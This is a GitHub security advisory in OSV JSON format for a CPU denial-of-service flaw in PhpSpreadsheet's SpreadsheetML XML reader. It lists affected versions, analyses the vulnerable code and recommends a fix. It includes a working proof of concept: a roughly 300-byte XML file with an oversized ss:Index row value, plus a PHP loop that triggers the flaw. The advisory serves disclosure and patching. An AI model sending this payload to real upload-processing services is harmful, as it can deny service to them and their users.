{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:23:27Z",
    "nvd_published_at": "2026-05-12T22:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `\u003cRow\u003e` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `\u003cRow\u003e` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss[\u0027Index\u0027])) {\n    $rowID = (int) $row_ss[\u0027Index\u0027]; // No validation against MAX_ROW\n}\nif (isset($row_ss[\u0027Hidden\u0027])) {\n    $rowVisible = ((string) $row_ss[\u0027Hidden\u0027]) !== \u00271\u0027;\n    $spreadsheet-\u003egetActiveSheet()-\u003egetRowDimension($rowID)-\u003esetVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n    $this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n    return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection \u2014 it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\n \u003cWorksheet ss:Name=\"Sheet1\"\u003e\n  \u003cTable\u003e\n   \u003cRow ss:Index=\"999999999\" ss:Hidden=\"1\"/\u003e\n   \u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003etest\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\n  \u003c/Table\u003e\n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\n2. Load and iterate:\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xml\u0027);\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations \u2192 CPU exhaustion\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication \u2014 only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss[\u0027Index\u0027])) {\n    $rowID = (int) $row_ss[\u0027Index\u0027];\n    if ($rowID \u003e AddressRange::MAX_ROW) {\n        $rowID = AddressRange::MAX_ROW;\n    }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `\u003cCell\u003e` elements (line 409) for the column dimension.",
  "id": "GHSA-84wq-86v6-x5j6",
  "modified": "2026-05-13T16:31:32Z",
  "published": "2026-04-29T20:23:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40863"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader"
}